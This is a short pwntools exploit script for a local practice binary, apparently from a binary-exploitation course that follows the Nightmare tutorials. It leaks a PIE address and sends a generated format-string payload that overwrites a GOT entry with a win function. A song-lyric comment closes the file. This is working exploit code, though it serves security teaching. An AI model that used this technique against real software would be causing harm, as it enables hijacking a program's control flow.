# +------------------------------------------------+
# | Atack: Format String Winfunc Pie               |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/10-fmt_strings

# +------------------------------------------------+
# | Atack: Format String Winfunc                   |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/10-fmt_strings

from pwn import *
import time
import sf

target = process("./Correction-FsGotWinFuncPie-x64")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=64)

target.recvuntil("We're dreaming: ")
leak = int(target.recvuntil(b"\n").strip(b"\n"), 16)
pie_base = leak - (4576)
bof_payload.add_base("pie", pie_base)
fs = sf.WriteFmtStr(
		arch = 64,
		value = 0x11c9,
		address = 0x33d0,
		offset = 0x6,
		printed_bytes = 0x0,
		alignment_bytes = 0x0,
		value_base = pie_base,
		address_base = pie_base)
payload = fs.generate_fmt_str()
target.sendline(payload)


target.interactive()

# +------------------------------------------------+
# | Artist: Five Finger Death Punch                |
# +------------------------------------------------+
# | Song: Coming Down                              |
# +------------------------------------------------+
# | I'm                                            |
# | Coming Down                                    |
# +------------------------------------------------+

